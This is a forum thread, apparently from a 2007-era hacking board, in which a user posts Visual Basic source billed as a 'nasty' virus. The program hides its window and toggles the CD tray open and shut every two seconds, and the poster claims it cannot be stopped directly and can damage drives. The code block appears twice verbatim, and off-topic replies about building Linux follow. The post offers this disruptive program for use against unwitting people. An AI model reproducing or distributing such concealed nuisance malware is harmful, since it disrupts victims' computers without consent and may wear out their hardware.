source code for an excellent virus(VB)
- treborguile
- Posts: 53
- Joined: Thu Aug 23, 2007 2:22 am
- Location: sniping area
source code for an excellent virus(VB)
Ok this virus is very nasty...it causes the CD drive 2 eject and load at intervals of 2 seconds,u cant stop it directly.......it can even damage ur CD drives....ok here goes the code ....this shud b coded in VB.....
Private Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim retvalue As Long
Private Sub Form_Load()
Form1.Hide
t.interval=2000
End Sub
Private Sub t_Timer()
Static a As Boolean
a = Not (a)
Select Case a
Case True
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
Case False
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
End Select
End Sub
Private Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim retvalue As Long
Private Sub Form_Load()
Form1.Hide
t.interval=2000
End Sub
Private Sub t_Timer()
Static a As Boolean
a = Not (a)
Select Case a
Case True
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
Case False
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
End Select
End Sub



- treborguile
- Posts: 53
- Joined: Thu Aug 23, 2007 2:22 am
- Location: sniping area


- treborguile
- Posts: 53
- Joined: Thu Aug 23, 2007 2:22 am
- Location: sniping area
- jack krauser
- Posts: 1005
- Joined: Wed Aug 29, 2007 5:45 pm
- Location: greece
- Contact:
i will search and tell youtreborguile wrote:hahaha i've made my own linux
try google search LINUX FROM SCRATCH
and you can make it yourself too

hacker is a life style. its one that alters how you think, you perception of reality, your way of dealing with things in general, as well as things so common as how you talk, how you carry yourself, and even when and how long you sleep.
by Loyal_Dark
by Loyal_Dark
- jack krauser
- Posts: 1005
- Joined: Wed Aug 29, 2007 5:45 pm
- Location: greece
- Contact:
it's very goodtreborguile wrote:hahaha i've made my own linux
try google search LINUX FROM SCRATCH
and you can make it yourself too

hacker is a life style. its one that alters how you think, you perception of reality, your way of dealing with things in general, as well as things so common as how you talk, how you carry yourself, and even when and how long you sleep.
by Loyal_Dark
by Loyal_Dark